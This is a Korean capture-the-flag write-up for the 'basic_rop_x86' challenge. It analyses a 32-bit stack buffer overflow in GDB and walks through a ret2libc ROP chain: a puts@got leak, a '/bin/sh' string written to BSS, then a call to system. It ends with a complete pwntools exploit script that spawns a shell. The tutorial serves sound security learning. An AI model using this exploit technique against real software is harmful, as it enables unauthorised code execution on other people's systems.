Index
이 문제는 32비트 버퍼오버플로우를 익스플로잇하는 문제이다.
가장 기본이 되는 rop 문제인 만큼, 자세하게 설명하려고자 한다.
먼저, 필자의 풀이 환경은 Ubuntu 20.04 이다.
문제
문제 파일을 받으면 위 사진과 같이 파일이 주어진다.
친절하게도 basic_rop_x86.c 파일이 있어서 디컴파일 도구를 사용하지 않아도 될 것 같다.
보호기법 확인
NX bit가 활성화 되어 있어서, 라이브러리 함수를 이용해야 한다.
Canary는 비활성화이므로 canary를 leak할 필요가 없다.
basic_rop_x86.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
문제 풀이
buf 변수는 0x40의 크기로 할당하고, 사용자 입력을 0x400 바이트를 받는다.
먼저, 직접 입력해서 segmentation fault가 나는지 확인해보자.
‘A’ * 0x40 + ‘BBBB’ + ‘CCCC’ 를 입력해보니 Segmentation fault가 발생한다.
GDB로 자세하게 분석해보자.
main 함수에서 read함수를 호출하기 전에 3개의 인자를 push해준다.
여기서 2번째 인자인 buf의 주소가 ebp로부터 0x44 떨어진 주소인 것을 알 수 있다.
그림으로 그리면 다음과 같다.
0x400를 입력받으니 당연히 스택에 있는 SFP, RET 또는 그 이상까지 값을 덮을 수 있다.
GDB로 브레이크 포인터를 걸고 직접 보자
pwndbg> b *0x08048601 //call 0x80483f0 <read@plt>
Breakpoint 1 at 0x8048601
pwndbg> r <<< $(python -c 'print "A"*0x40+"BBBB"+"CCCC"')
- read 함수 호출 전 ebp-0x44 메모리
pwndbg> ni
- read 함수 호출 후 ebp-0x44 메모리
Segmentation fault가 발생한 이유에 대해서 다시 짚어보면 우리가 입력한 마지막 ‘CCCC’에서 RET를 덮은 것이 아니다. 코드에서는 0x40만큼 배열을 할당했지만, gdb에서 디버깅했을 때 ebp를 기준으로 0x44 차이가 나기 때문에, 우리가 입력한 ‘CCCC’는 RET가 아닌 SFP를 덮은 것이다.
‘CCCC’입력 이후 개행문자 LF(0x0a)로 인한 RET 변조로 Segmentation fault가 발생한 것이다. read 함수 실행 전과 후를 비교하면 1바이트가 바뀐 것을 볼 수 있다.
지금까지 왜 Segmentation fault가 발생하는지 장황하게 설명했다. 사실.. 당연한 소리를 그럴 듯하게 해놓은….
이제 본격적으로 문제를 풀어보자.
전체적인 익스플로잇 흐름을 적고, 하나씩 단계별로 검증하면서 write-up을 작성하려고 한다.
1. 사용할 함수 인자에 맞는 Gadget 구하기
2. RET 주소를 변조해서 puts(puts@got); 호출 -> libc offset으로 다른 함수 사용 가능
3. BSS 영역에 "/bin/sh" 문자열 저장
4. system(bss)로 쉘 획득
1. 사용할 함수 인자에 맞는 Gadget 구하기
- ROPgadget 이라는 툴을 통해 binary 안에 있는 Gadget을 확인할 수 있다.
ROPgadget --binary basic_rop_x86 | grep "pop"
pop은 esp를 +0x4 해주는 역할을 한다. (32비트니까 4바이트 단위)
그만큼 앞서 사용한 함수의 인자만큼 스택의 esp를 조정해주는 역할을 한다.
뒤에서 인자 개수에 맞는 가젯의 주소를 가져다가 사용할 것이다.
우리는 read와 system 함수를 사용할 것이기 때문에, ”pop; pop; pop; ret;”와 “pop; ret” 주소를 사용할 것이다.
2. RET 주소를 변조해서 puts(puts@got); 호출
- 먼저 gdb에서 info func으로 함수 정보를 확인해보자
pwndbg> info func
read@plt로 bss에 “/bin/sh”값을 입력할 수 있지만, system@plt는 없기 때문에 plt로 호출할 수 없다. 하지만 라이브러리의 오프셋 값은 일정하기 때문에 puts@plt로 실제 메모리에 올라간 puts의 got 주소를 구하고, 문제에서 주어진 libc.so.6 라이브러리 오프셋 값으로 다른 함수를 사용할 것이다.
3. BSS 영역에 "/bin/sh" 문자열 저장
- ASLR 영향을 받지 않는 BSS 영역이 존재하고 크기는 0xc이므로, “/bin/sh” 문자열을 충분히 담을 수 있다.
우리는 이곳에 “/bin/sh”문자열을 read 함수로 입력할 것이다. 이때, 메모리에 이미 저장된 다른 값이 이어지지 않도록 “/bin/sh0x00”로 문자열의 끝을 알리는 문자도 함께 입력한다.
4. system(&bss)로 쉘 획득
- 앞서 구한 puts@got 주소로 구한 system 함수를 호출한다. 인자로는 입력시켜놓은 bss의 주소를 준다.
앞서 분석내용에서 말했던 것을 그림으로 익스플로잇 흐름을 설명할 것이다.
그 전에 x86에서 함수 인자를 처리하는 호출규약에 대해 알아야 한다.
선행지식
PLT & GOT
구글링..
함수 호출 규약
x86에서는 함수가 어떤 방식으로 인자를 넘기는지 알아야 한다.
함수 프롤로그/에필로그
RTL Chaining을 하기 위해서 함수의 시작과 끝의 구조를 알아야 한다.
필자는 위 두가지의 선행 지식을 익혔지만, 어디서 쓰는지 자세하게 몰랐다.
그래서 왜 필요한지 두개의 그림을 통해서 설명해보려고 한다. 프롤로그와 에필로그가 어떻게 이뤄지는지 꼭 알아야 한다!!!!!
버퍼 오버플로우로 스택을 공격자의 페이로드로 채워진 상태에서 함수가 종료하면서 에필로그를 진행한다. 단계별로 색을 다르게 스택을 그려보았다. (어떻게 설명해야.. 잘 전달될까.. ㅠ)
1~3번을 따라 어셈 명령어를 수행하면, 첫 RET 까지 이해할 수 있을 것이다. 하지만, 아래 가젯이 왜 저기에 들어가는지 궁금하지 않는가? (필자는 처음에 궁금했다..)
첫 RET에서 read함수가 실행된다면, 다시 함수 프롤로그를 겪는다.
프롤로그 중에서 push 하기 때문에 스택이 하나 다시 쌓인다.
그 상태에서 에필로그를 진행하면 프롤로그에서 쌓인 값이 다시 pop 되고, PPPR 가젯이 다음 명령어로 실행되는 것이다.
이때 넣은 PPPR 가젯은 read 함수에 필요했던 인자를 Skip해주면서! 두번째 RET까지 도달하고, 그 곳에 system 함수의 주소가 있다면 system 함수가 실행된다.
이후, 그림에서의 세 번째 RET까지 도달하는 것도 똑같이 진행된다.
그러면, 세번째 RET를 하기 위해서 두번째 RET 다음 값은 뭐를 넣어야 하나?
PR 가젯이 들어가는 것에 동의하면, 이해가 끝난 것이다. GOOD~
남은건 이걸 코드로 짜서 실행하면 된다.
익스플로잇
from pwn import *
#context.log_level='debug' # 입출력 디버깅
# local exploit
p = process('./basic_rop_x86')
libc = ELF('/lib/i386-linux-gnu/libc.so.6') # 'ldd basic_rop_x86' 로 확인
# remote exploit
#p = remote('host3.dreamhack.games', [port])
#libc = ELF('./libc.so.6')
e = ELF('./basic_rop_x86')
# bss 영역 주소 얻기
bss = e.bss()
# 필요한 가젯 주소
pr_gadget = 0x0804868b
pppr_gadget = 0x08048689
# puts(puts@got); 호출
puts_plt = e.plt['puts']
puts_got = e.got['puts']
read_plt = e.plt['read']
payload = b'A'*0x48
payload += p32(puts_plt)
payload += p32(pr_gadget)
payload += p32(puts_got)
payload += p32(e.sym['main']) # 다시 main 함수로 RET
# puts@got에서 libc offset을 이용해서 다른 함수 주소 얻기
p.sendline(payload)
p.recvuntil(b'A'*0x40)
puts = u32(p.recvn(4))
libc_base = puts - libc.sym['puts']
system = libc_base + libc.sym['system']
print('[+] puts :', hex(puts))
print('[+] libc_base :', hex(libc_base))
print('[+] system :', hex(system))
# exploit payload
payload = b'A'*0x48
# read(0, bss, 4)
payload += p32(read_plt)
payload += p32(pppr_gadget)
payload += p32(0)
payload += p32(bss)
payload += p32(8)
# system(bss)
payload += p32(system)
payload += b'BBBB'
payload += p32(bss)
p.sendline(payload)
p.recvuntil(b'A'*0x40)
# read 함수 인자 넘기기
p.send(b'/bin/sh\x00')
p.interactive()
Uploaded by N2T